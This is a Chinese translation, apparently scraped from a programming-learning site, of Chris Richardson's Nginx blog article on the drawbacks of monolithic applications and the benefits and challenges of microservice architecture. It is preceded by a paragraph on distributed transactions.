分布式事务,本质上是对多个数据库的事务进行统一控制,按照控制力度可以分为:不控制、部分控制和完全控制。不控制就是不引入分布式事务,部分控制就是各种变种的两阶段提交,包括上面提到的消息事务+最终一致性、TCC模式,而完全控制就是完全实现两阶段提交。部分控制的好处是并发量和性能很好,缺点是数据一致性减弱了,完全控制则是牺牲了性能,保障了一致性,具体用哪种方式,最终还是取决于业务场景。作为技术人员,一定不能忘了技术是为业务服务的,不要为了技术而技术,针对不同业务进行技术选型也是一种很重要的能力!

微服务实战--微服务架构的优势与不足

摘要:本文来自Nginx官方博客,是微服务系列文章的第一篇,主要探讨了传统的单体式应用的不足,以及微服务架构的优势与挑战。正如作者所说,微服务架构更适合用于构建复杂的应用,尽管它也有自己的不足。


这篇文章作者是Chris Richardson,他是早期基于Java的Amazonite EC2 PaaS平台CloudFoundry.com的创始人。现在他为企业提供如何开发和部署应用的咨询服务。他也经常在http://microservices.io上发表有关微服务的文章。


微服务正在博客、社交媒体讨论组和会议演讲中获得越来越多的关注,在Gartner的2014 Hype Cycle上它的排名非常靠前。同时,软件社区中也有不少持怀疑论者,认为微服务不是什么新东西。Naysayers认为这就是SOA架构的重新包装。然而,尽管存在着不同的争论,微服务架构模式却正在为敏捷部署以及复杂企业应用实施提供巨大的帮助。


  这篇博客是关于如何设计、开发和部署微服务的七篇系列文章中的第一篇。读者将会从中学到方法,并且和单体式架构模式(译者注:本文中会将 Monolithic翻译为单体)进行对比。这一系列文章将描述微服务架构中不同元素。你将了解到微服务架构模式的优缺点,以便决定是否更好的将微服务架构应用到自己的项目中,以及如何应用这一模式。


  首先我们看看为什么要考虑使用微服务。


  开发单体式应用


  假设你正准备开发一款与Uber和Hailo竞争的出租车调度软件,经过初步会议和需求分析,你可能会手动或者使用基于Rails、Spring Boot、Play或者Maven的生成器开始这个新项目,它的六边形架构是模块化的 ,架构图如下:



 应用核心是业务逻辑,由定义服务、域对象和事件的模块完成。围绕着核心的是与外界打交道的适配器。适配器包括数据库访问组件、生产和处理消息的消息组件,以及提供API或者UI访问支持的web模块等。


  尽管也是模块化逻辑,但是最终它还是会打包并部署为单体式应用。具体的格式依赖于应用语言和框架。例如,许多Java应用会被打包为WAR格式,部署在Tomcat或者Jetty上,而另外一些Java应用会被打包成自包含的JAR格式,同样,Rails和Node.js会被打包成层级目录。


  这种应用开发风格很常见,因为IDE和其它工具都擅长开发一个简单应用,这类应用也很易于调试,只需要简单运行此应用,用Selenium链接UI就可以完成端到端测试。单体式应用也易于部署,只需要把打包应用拷贝到服务器端,通过在负载均衡器后端运行多个拷贝就可以轻松实现应用扩展。在早期这类应用运行的很好。


  单体式应用的不足


  不幸的是,这种简单方法却有很大的局限性。一个简单的应用会随着时间推移逐渐变大。在每次的sprint中,开发团队都会面对新“故事”,然后开发许多新代码。几年后,这个小而简单的应用会变成了一个巨大的怪物。这儿有一个例子,我最近和一个开发者讨论,他正在写一个工具,用来分析他们一个拥有数百万行代码的应用中JAR文件之间的依赖关系。我很确信这个代码正是很多开发者经过多年努力开发出来的一个怪物。


  一旦你的应用变成一个又大又复杂的怪物,那开发团队肯定很痛苦。敏捷开发和部署举步维艰,其中最主要问题就是这个应用太复杂,以至于任何单个开发者都不可能搞懂它。因此,修正bug和正确的添加新功能变的非常困难,并且很耗时。另外,团队士气也会走下坡路。如果代码难于理解,就不可能被正确的修改。最终会走向巨大的、不可理解的泥潭。


  单体式应用也会降低开发速度。应用越大,启动时间会越长。比如,最近的一个调查表明,有时候应用的启动时间居然超过了12分钟。我还听说某些应用需要40分钟启动时间。如果开发者需要经常重启应用,那么大部分时间就要在等待中渡过,生产效率受到极大影响。


  另外,复杂而巨大的单体式应用也不利于持续性开发。今天,SaaS应用常态就是每天会改变很多次,而这对于单体式应用模式非常困难。另外,这种变化带来的影响并没有很好的被理解,所以不得不做很多手工测试。那么接下来,持续部署也会很艰难。


  单体式应用在不同模块发生资源冲突时,扩展将会非常困难。比如,一个模块完成一个CPU敏感逻辑,应该部署在AWS EC2 Compute Optimized instances,而另外一个内存数据库模块更合适于EC2 Memory-optimized instances。然而,由于这些模块部署在一起,因此不得不在硬件选择上做一个妥协。


  单体式应用另外一个问题是可靠性。因为所有模块都运行在一个进程中,任何一个模块中的一个bug,比如内存泄露,将会有可能弄垮整个进程。除此之外,因为所有应用实例都是唯一的,这个bug将会影响到整个应用的可靠性。


  最后,单体式应用使得采用新架构和语言非常困难。比如,设想你有两百万行采用XYZ框架写的代码。如果想改成ABC框架,无论是时间还是成本都是非常昂贵的,即使ABC框架更好。因此,这是一个无法逾越的鸿沟。你不得不在最初选择面前低头。


  总结一下:一开始你有一个很成功的关键业务应用,后来就变成了一个巨大的,无法理解的怪物。因为采用过时的,效率低的技术,使得雇佣有潜力的开发者很困难。应用无法扩展,可靠性很低,最终,敏捷性开发和部署变的无法完成。


  那么如何应对呢?


  微处理架构——处理复杂事物


  许多公司,比如Amazon、eBay和NetFlix,通过采用微处理结构模式解决了上述问题。其思路不是开发一个巨大的单体式的应用,而是将应用分解为小的、互相连接的微服务。


  一个微服务一般完成某个特定的功能,比如下单管理、客户管理等等。每一个微服务都是微型六角形应用,都有自己的业务逻辑和适配器。一些微服务还会发布API给其它微服务和应用客户端使用。其它微服务完成一个Web UI,运行时,每一个实例可能是一个云VM或者是Docker容器。


  比如,一个前面描述系统可能的分解如下:


每一个应用功能区都使用微服务完成,另外,Web应用会被拆分成一系列简单的Web应用(比如一个对乘客,一个对出租车驾驶员)。这样的拆分对于不同用户、设备和特殊应用场景部署都更容易。


  每一个后台服务开放一个REST API,许多服务本身也采用了其它服务提供的API。比如,驾驶员管理使用了告知驾驶员一个潜在需求的通知服务。UI服务激活其它服务来更新Web页面。所有服务都是采用异步的,基于消息的通讯。微服务内部机制将会在后续系列中讨论。


  一些REST API也对乘客和驾驶员采用的移动应用开放。这些应用并不直接访问后台服务,而是通过API Gateway来传递中间消息。API Gateway负责负载均衡、缓存、访问控制、API 计费监控等等任务,可以通过NGINX方便实现,后续文章将会介绍到API Gateway。


 

·微服务架构模式在上图中对应于代表可扩展Scale Cube的Y轴,这是一个在《The Art of Scalability》书中描述过的三维扩展模型。另外两个可扩展轴,X轴由负载均衡器后端运行的多个应用副本组成,Z轴是将需求路由到相关服务。


  应用基本可以用以上三个维度来表示,Y轴代表将应用分解为微服务。运行时,X轴代表运行多个隐藏在负载均衡器之后的实例,提供吞吐能力。一些应用可能还是用Z轴将服务分区。下面的图演示行程管理服务如何部署在运行于AWS EC2上的Docker上。

运行时,行程管理服务由多个服务实例构成。每一个服务实例都是一个Docker容器。为了保证高可用,这些容器一般都运行在多个云VM上。服务实例前是一层诸如NGINX的负载均衡器,他们负责在各个实例间分发请求。负载均衡器也同时处理其它请求,例如缓存、权限控制、API统计和监控。


  这种微服务架构模式深刻影响了应用和数据库之间的关系,不像传统多个服务共享一个数据库,微服务架构每个服务都有自己的数据库。另外,这种思路也影响到了企业级数据模式。同时,这种模式意味着多份数据,但是,如果你想获得微服务带来的好处,每个服务独有一个数据库是必须的,因为这种架构需要这种松耦合。下面的图演示示例应用数据库架构。



每种服务都有自己的数据库,另外,每种服务可以用更适合自己的数据库类型,也被称作多语言一致性架构。比如,驾驶员管理(发现哪个驾驶员更靠近乘客),必须使用支持地理信息查询的数据库。


  表面上看来,微服务架构模式有点像SOA,他们都由多个服务构成。但是,可以从另外一个角度看此问题,微服务架构模式是一个不包含Web服务(WS-)和ESB服务的SOA。微服务应用乐于采用简单轻量级协议,比如REST,而不是WS-,在微服务内部避免使用ESB以及ESB类似功能。微服务架构模式也拒绝使用canonical schema等SOA概念。


  微服务架构的好处


  微服务架构模式有很多好处。首先,通过分解巨大单体式应用为多个服务方法解决了复杂性问题。在功能不变的情况下,应用被分解为多个可管理的分支或服务。每个服务都有一个用RPC-或者消息驱动API定义清楚的边界。微服务架构模式给采用单体式编码方式很难实现的功能提供了模块化的解决方案,由此,单个服务很容易开发、理解和维护。


  第二,这种架构使得每个服务都可以有专门开发团队来开发。开发者可以自由选择开发技术,提供API服务。当然,许多公司试图避免混乱,只提供某些技术选择。然后,这种自由意味着开发者不需要被迫使用某项目开始时采用的过时技术,他们可以选择现在的技术。甚至于,因为服务都是相对简单,即使用现在技术重写以前代码也不是很困难的事情。


  第三,微服务架构模式是每个微服务独立的部署。开发者不再需要协调其它服务部署对本服务的影响。这种改变可以加快部署速度。UI团队可以采用AB测试,快速的部署变化。微服务架构模式使得持续化部署成为可能。

  最后,微服务架构模式使得每个服务独立扩展。你可以根据每个服务的规模来部署满足需求的规模。甚至于,你可以使用更适合于服务资源需求的硬件。比如,你可以在EC2 Compute Optimized instances上部署CPU敏感的服务,而在EC2 memory-optimized instances上部署内存数据库。


  微服务架构的不足


  Fred Brooks在30年前写道,“there are no silver bullets”,像任何其它科技一样,微服务架构也有不足。其中一个跟他的名字类似,『微服务』强调了服务大小,实际上,有一些开发者鼓吹建立稍微大一些的,10-100 LOC服务组。尽管小服务更乐于被采用,但是不要忘了这只是终端的选择而不是最终的目的。微服务的目的是有效的拆分应用,实现敏捷开发和部署。


  另外一个主要的不足是,微服务应用是分布式系统,由此会带来固有的复杂性。开发者需要在RPC或者消息传递之间选择并完成进程间通讯机制。更甚于,他们必须写代码来处理消息传递中速度过慢或者不可用等局部失效问题。当然这并不是什么难事,但相对于单体式应用中通过语言层级的方法或者进程调用,微服务下这种技术显得更复杂一些。


  另外一个关于微服务的挑战来自于分区的数据库架构。商业交易中同时给多个业务分主体更新消息很普遍。这种交易对于单体式应用来说很容易,因为只有一个数据库。在微服务架构应用中,需要更新不同服务所使用的不同的数据库。使用分布式交易并不一定是好的选择,不仅仅是因为CAP理论,还因为今天高扩展性的NoSQL数据库和消息传递中间件并不支持这一需求。最终你不得不使用一个最终一致性的方法,从而对开发者提出了更高的要求和挑战。


  测试一个基于微服务架构的应用也是很复杂的任务。比如,采用流行的Spring Boot架构,对一个单体式web应用,测试它的REST API,是很容易的事情。反过来,同样的服务测试需要启动和它有关的所有服务(至少需要这些服务的stubs)。再重申一次,不能低估了采用微服务架构带来的复杂性。


  另外一个挑战在于,微服务架构模式应用的改变将会波及多个服务。比如,假设你在完成一个案例,需要修改服务A、B、C,而A依赖B,B依赖C。在单体式应用中,你只需要改变相关模块,整合变化,部署就好了。对比之下,微服务架构模式就需要考虑相关改变对不同服务的影响。比如,你需要更新服务C,然后是B,最后才是A,幸运的是,许多改变一般只影响一个服务,而需要协调多服务的改变很少。


  部署一个微服务应用也很复杂,一个分布式应用只需要简单在复杂均衡器后面部署各自的服务器就好了。每个应用实例是需要配置诸如数据库和消息中间件等基础服务。相对比,一个微服务应用一般由大批服务构成。例如,根据Adrian Cockcroft,Hailo有160个不同服务构成,NetFlix有大约600个服务。每个服务都有多个实例。这就造成许多需要配置、部署、扩展和监控的部分,除此之外,你还需要完成一个服务发现机制(后续文章中发表),以用来发现与它通讯服务的地址(包括服务器地址和端口)。传统的解决问题办法不能用于解决这么复杂的问题。接续而来,成功部署一个微服务应用需要开发者有足够的控制部署方法,并高度自动化。


  一种自动化方法是使用PaaS服务,例如Cloud Foundry。PaaS给开发者提供一个部署和管理微服务的简单方法,它把所有这些问题都打包内置解决了。同时,配置PaaS的系统和网络专家可以采用最佳实践和策略来简化这些问题。另外一个自动部署微服务应用的方法是开发对于你来说最基础的PaaS系统。一个典型的开始点是使用一个集群化方案,比如配合Docker使用Mesos或者Kubernetes。后面的系列我们会看看如何基于软件部署方法例如NGINX,可以方便的在微服务层面提供缓存、权限控制、API统计和监控。


  总结


  构建复杂的应用真的是非常困难。单体式的架构更适合轻量级的简单应用。如果你用它来开发复杂应用,那真的会很糟糕。微服务架构模式可以用来构建复杂应用,当然,这种架构模型也有自己的缺点和挑战。


查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. Verilog基本语法——运算符和表达式

    本文是Verilog学习笔记,参考于《Xilinx FPGA开发实用教程》和夏宇闻老师的Verilog经典教程系列在Verilog HDL语言中运算符所带的操作数是不同的,按其所带操作数的个数运算符可分为三种: 1) 单目运算符(unary operator):带一个操作数,操作数放在运算符的右边。 2) 二目运算符…...

    2024/4/14 19:26:49
  2. height、clientHeight、scrollHeight、offsetHeight区别

    height、clientHeight、scrollHeight、offsetHeight区别...

    2024/4/15 4:08:15
  3. uni-app创建并运行微信小程序项目

    打开HBuilder X,点击文件,选择新建一个项目首先点击HBuilder X菜单栏工具下面的设置,然后在运行配置里面设置微信开发者工具的安装路径在微信开发者工具中,点击设置下面的安全设置,然后开启服务端口最后在HBuilder X运行配置中填写web服务调用URL(本地IP+端口号)点击运行到…...

    2024/4/18 13:37:48
  4. Android5.0 静音模式下让闹钟仍然响铃

    最近在看Android 5.0的代码,发现可以通过音量键来控制情景模式,而且在此次升级的静音模式可谓是完全静音了,就连闹钟都不会发音。 我要做一个可以在静音模式下选择闹钟是否仍然响铃的开关。 本文仅为学习笔记,大神勿喷。在DeskClock源码中,com.android.deskclock.Settings…...

    2024/4/18 11:52:38
  5. clientHeight offsetHeight scrollHeight offsetTop scrollTop的区别

    在HTML中,每个元素都具有clientHeight offsetHeight scrollHeight offsetTop scrollTop属性。clientHeight和offsetHeight表示元素的高度。clientHeight:包含了padding但是不含border,水平滚动条,margin的高度。对于没有定义CSS或者是内联(inline)布局盒子的元素,client…...

    2024/4/20 2:04:11
  6. Laravel 教程 - 实战 iBrand 开源电商 API 系统

    iBrand 简介 IYOYO 公司于2011年在上海创立。经过8年行业积累,IYOYO 坚信技术驱动商业革新,通过提供产品和服务助力中小企业向智能商业转型升级。 基于社交店商的核心价值,在2016年9月启动 iBrand 产品,iBrand以O2O交易、会员权益、数据跟踪分析、内容体验四大体系形成战略…...

    2024/4/18 12:53:05
  7. 整理一些微信小程序面试资料

    微信小程序面试资料一:面试题1、简单描述下微信小程序的相关文件类型?答:微信小程序项目结构主要有四个文件类型,如下.json 后缀的 JSON 配置文件.wxml 后缀的 WXML 模板文件.wxss 后缀的 WXSS 样式文件.js 后缀的 JS 脚本逻辑文件一、WXML (WeiXin Markup Language)是框架…...

    2024/4/23 5:23:52
  8. Verilog初级教程(1)认识 Verilog HDL

    文章目录背景正文介绍Verilog有什么用途?如何验证Verilog设计的功能?Verilog设计模板参考资料汇总 背景 集成电路的设计经历了从原理图绘制(工程师在纸上绘制晶体管及其连接,以便对其设计,使其可以在硅上制造)到硬件描述语言的转变,这是因为大型的设计,如果使用原理图的…...

    2024/4/19 4:35:10
  9. 大数据独角兽Palantir之核心技术探秘

    1.Palantir源起:B2B大数据和企业级Google。 Palantir(中文名帕兰提尔,源于《指环王》中可穿越时空、洞悉世间一切的水晶球Palantr)被誉为硅谷最神秘的大数据独角兽企业,短短几年内跻身百亿俱乐部,成为全球最高估值排名第四的初创公司。它的主要客户只在美剧和好莱坞里出现,…...

    2024/4/18 0:53:30
  10. 微服务多用户商城系统java_代码开源_B2B电商系统_B2C电商系统

    用java实施的电子商务平台太少了,使用spring cloud技术构建的b2b2c电子商务平台更少,大型企业分布式互联网电子商务平台,推出PC+微信+APP+云服务的云商平台系统,其中包括B2B、B2C、C2C、O2O、新零售、直播电商等子平台。Spring Cloud大型企业分布式微服务云构建的B2B2C电子…...

    2024/4/18 13:40:36
  11. Preference偏好设置使用方法

    学习了一下Preference偏好设置的方法,这里记录总结,供学习参考。代码参考了android Settings packages/app/Settings里偏好设置,以及自定义Preference的用法。 在API 11以后,推荐PreferenceFragment的addPreferencesFromResource方法,原来的PrefereneceActivity已经废弃。…...

    2024/4/18 1:02:36
  12. 微信小程序怎么本地调试

    关于微信小程序本地调试的问题,因为需要https,所以请求起来比较麻烦,后来问身边的人才发现了最简单的解决办法!!!所以这里直接引进大家来了解一下。可能需要花几块= =,反正20不多。首先引进的就是NATAPP,这个直接百度进官网就行,然后注册,购买最便宜的vip隧道,别想干…...

    2024/4/18 0:54:48
  13. verilog 条件编译命令`ifdef、`else、`endif 的应用

    【摘自夏宇闻《verilog设计教程》】一般情况下,Verilog HDL源程序中所有的行都将参加编译。但是有时希望对其中的一部分内容只有在满足条件才进行编译,也就是对一部分内容指定编译的条件,这就是“条件编译”。有时,希望当满足条件时对一组语句进行编译,而当条件不满足是则…...

    2024/4/18 1:00:29
  14. IE和FF下document body对象的clientHeight,offsetHeight scrollHeight

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴! 相关图片当页面实际内容高度大于浏览器可视区域高度时a. IE下 b. FF下 当页面实…...

    2024/5/2 8:31:17
  15. 微信小程序:小程序开发中申请优惠券步骤

    在微信小程序开发过程中,尤其是打算在微信小程序上面出售商品的,一般都会涉及到优惠券的使用或者发放的功能,本章就来介绍一下微信小程序的申请优惠券的功能。值得注意的一点是,微信小程序关联的微信公众号里面如果没有开通卡券功能,需要去微信公众平台左侧菜单栏里面的”…...

    2024/5/2 12:30:33
  16. scrollHeight、clientHeight、offsetHeight使用区别

    在IE中 scrollWidth:获取对象的滚动宽度 scrollHeight: 获取对象的滚动高度。 scrollLeft:设置或获取位于对象左边界和窗口中目前可见内容的最左端之间的距离 scrollTop:设置或获取位于对象最顶端和窗口中可见内容的最顶端之间的距离 offsetLeft:获取对象相对于版面或由 o…...

    2024/4/11 22:49:15
  17. 详解Android首选项框架的使用

    首选项这个名词对于熟悉Android的朋友们一定不会感到陌生,它经常用来设置软件的运行参数。 Android提供了一种健壮并且灵活的框架来处理首选项。它提供了简单的API来隐藏首选项的读取和持久化,并且提供了一个优雅的首选项界面。 首先,我们来看下面这款软件的首选项界面:这款…...

    2024/4/18 0:58:53
  18. Verilog HDL简明教程

    Verilog HDL简明教程来源: 郭红卫的日志Verilog HDL简明教程Verilog HDL是一种硬件描述语言,用于从算法级、门级到开关级的多种抽象设计层次的数字系统建模。被建模的数字系统对象的复杂性可以介于简单的门和完整的电子数字系统之间。数字系统能够按层次描述,并可在相同描述…...

    2024/4/18 0:58:24
  19. 大数据精华版

    《大数据时代(精华版)》作者:[美]维克托迈尔舍恩伯格著,周涛译 内容简介: 《大数据时代》是国外大数据研究的先河之作,本书作者维克托迈尔舍恩伯格被誉为“大数据商业应用第一人”。本书前瞻性地指出,大数据带来的信息风暴正在变革我们的生活、工作和思维,大数据开启…...

    2024/4/19 16:49:20
  20. 图解scrollHeight, clientHeight, offsetHeight, scrollTop以及获取方法

    scrollHeight, clientHeight, offsetHeight, scrollTop这几个概念,在网上浩如烟海的文档中基本都是文字解释,《JavaScript高级程序设计(第3版)》给出的图解还是有些晦涩难懂,很难想象具体在窗口中指哪些部分,所以一直感到懵懂。这次项目中需要实现上拉加载的效果,花了不少…...

    2024/4/20 12:44:02

最新文章

  1. 模型训练中的过拟合和欠拟合

    基本概念 我们知道&#xff0c;所谓的神经网络其实就是一个复杂的非线性函数&#xff0c;网络越深&#xff0c;这个函数就越复杂&#xff0c;相应的表达能力也就越强&#xff0c;神经网络的训练则是一个拟合的过程。   当模型的复杂度小于真实数据的复杂度&#xff0c;模型表…...

    2024/5/2 12:51:54
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. matlab 轨迹生成函数

    文章目录 jtrajctrajmstrajmtrajtpolylspbtrinterp用例参考链接jtraj 计算两个构型之间的关节空间轨迹 [q, qd, qdd] = jtraj(q0, qf, m)是关节空间轨迹q(MxN),其中关节坐标从q0(1xN)变化到qf(1xN)。使用五次(5阶)多项式,并默认速度和加速度为零边界条件。假设时间以m步从0…...

    2024/4/30 10:27:49
  4. 实现窗口拖拽移动

    import Vue from "vue"; /* * 定义公共js里&#xff0c;在入口文件main.js中import&#xff1b; * 给elementUI的dialog上加上 v-dialogDrag 指令就可以实现弹窗的全屏和拉伸了。 */ // v-dialogDrag: 弹窗拖拽水平方向伸缩 Vue.directive(dialogDrag, { bind(e…...

    2024/5/2 2:35:20
  5. 实景三维在数字乡村建设中的重要作用

    随着科技的飞速发展&#xff0c;数字乡村建设已成为推动乡村振兴、实现农村现代化的重要途径。实景三维技术作为数字乡村建设的重要支撑&#xff0c;正逐渐在各个领域发挥着不可或缺的作用。本文将从实景三维技术在数字乡村中的应用场景、优势及未来展望等方面进行探讨&#xf…...

    2024/5/1 13:46:14
  6. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/1 17:30:59
  7. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/4/30 18:14:14
  8. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/29 2:29:43
  9. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/5/2 9:28:15
  10. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/27 17:58:04
  11. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/27 14:22:49
  12. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/28 1:28:33
  13. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/30 9:43:09
  14. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/27 17:59:30
  15. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/4/25 18:39:16
  16. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/28 1:34:08
  17. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  18. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/29 20:46:55
  19. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/30 22:21:04
  20. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/1 4:32:01
  21. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/27 23:24:42
  22. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/28 5:48:52
  23. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/30 9:42:22
  24. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/5/2 9:07:46
  25. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/30 9:42:49
  26. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  27. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  28. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

